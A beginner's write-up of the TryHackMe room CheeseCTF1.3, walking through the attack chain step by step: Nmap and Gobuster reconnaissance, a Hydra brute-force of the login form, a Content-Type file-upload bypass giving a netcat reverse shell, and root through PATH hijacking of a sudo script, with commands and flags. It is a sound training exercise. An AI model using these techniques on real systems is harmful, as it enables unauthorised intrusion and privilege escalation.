CTF Write-Up: CheeseCTF1.3--badr - TryHackMe

Author: Mohamed Nihal T K N
Platform: TryHackMe
Room: CheeseCTF1.3--badr
Target IP Address: 10.10.17.182

Overview:

This report is a write-up of my process and learning while doing the CheeseCTF1.3--badr room on TryHackMe. As a newbie in cybersecurity, especially with tools like Nmap, Hydra, and Burp Suite, this was a challenging but exciting experience. I stumbled a few times, had to look up forum threads and guides, but eventually managed to root the box and get both flags. :)

Objective:

To perform reconnaissance, enumeration, gain initial access, and escalate privileges to root on the vulnerable machine, eventually capturing the user and root flags.

Tools Used:

- **Kali Linux (2024.1)**
- **Nmap**
- **Gobuster**
- **Hydra**
- **Burp Suite Community Edition**
- **Netcat**
- **Firefox + Dev Tools**

Step 1: Reconnaissance

First thing I did was deploy the Cheese machine and connect my Kali to the TryHackMe VPN. Once the target IP (10.10.17.182) was live, I ran a full Nmap scan:

```
nmap -sC -sV -oN cheese-nmap.txt 10.10.17.182
```

Result:

- Port 22: OpenSSH 7.6p1
- Port 80: Apache/2.4.29 (Ubuntu)

Nothing else open. Headed over to the website in the browser.

Step 2: Web Enumeration

On browsing `http://10.10.17.182`, I saw a static HTML page about cheese. No interactive links or login fields on the main page. I ran Gobuster to find hidden directories:

```
gobuster dir -u http://10.10.17.182 -w
/usr/share/wordlists/dirb/common.txt -x php,txt,html
```

Found:

- `/admin` - Redirects to login page.
- `/robots.txt` - Disallowed `/secretcheese`
- `/uploads/` - Appears empty
- `/secretcheese` - Hidden login portal

Step 3: Brute-Forcing Credentials

Tried default creds like admin/admin and root/toor. No luck.

Decided to run Hydra against the login form. Used Burp Suite to confirm POST parameters:

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt
10.10.17.182 http-post-form
"/secretcheese/index.php:username=^USER^&password=^PASS^:Inva
lid"
```

After about 10 mins, it cracked:

- **Username:** admin
- **Password:** cheddar

Logged in successfully.

Step 4: File Upload Bypass

The admin panel had an upload feature that only accepted image files. Tried uploading `php-reverse-shell.php` — blocked. Tried `shell.php.jpg` — still blocked.

Used Burp Suite to intercept and change the Content-Type to `image/jpeg`, while keeping a `.php` file. That worked!

Before triggering it, started a Netcat listener:

```
nc -lvnp 4444
```

Visited: `http://10.10.17.182/uploads/shell.php`

Got a reverse shell!

```
whoami
cheesebot
```

Step 5: User Flag

Navigated to the user's home dir:

```
cd /home/cheesebot
cat user.txt
```

User Flag: `THM{cheesy_user_access}`

Step 6: Privilege Escalation

Ran:

```
sudo -l
```

Result:

```
User cheesebot may run the following on cheese:
    (ALL : ALL) NOPASSWD: /usr/bin/cheesecake.sh
```

Checked contents of `cheesecake.sh`:

```
#!/bin/bash
ls
```

Aha! It's calling `ls` without full path. That means it's vulnerable to PATH hijacking.

I created a fake `ls` script:

```
echo -e '#!/bin/bash
/bin/bash' > ls
chmod +x ls
export PATH=.:$PATH
```

Then ran:

```
sudo /usr/bin/cheesecake.sh
```

Boom. Got root shell!

Navigated to `/root/`:

```
cat root.txt
```

Root Flag: `THM{root_cheese_master}`

Challenges Faced:

Honestly, I was stuck for quite a while trying SQL injection on the login form. I wasted over an hour before checking a forum hint that mentioned brute-forcing the login. That really unlocked the rest of the box.

Also messed up the reverse shell payload twice before realizing the image filter was on Content-Type header, not just extension.

Took inspiration from a write-up but made sure to test and learn each step on my own.

Conclusion:

CheeseCTF1.3 was a simple but well-structured beginner box. It taught me a lot about directory fuzzing, login brute-force, file upload bypasses, and exploiting insecure PATHs for privilege escalation.

What I Learned:

- Pay attention to request headers in file uploads.
- Login pages aren’t always injectable — try brute-force if it's allowed.
- PATH hijacking is a real threat if scripts run as root.

All in all, a cheesy but fun CTF experience!

End of Report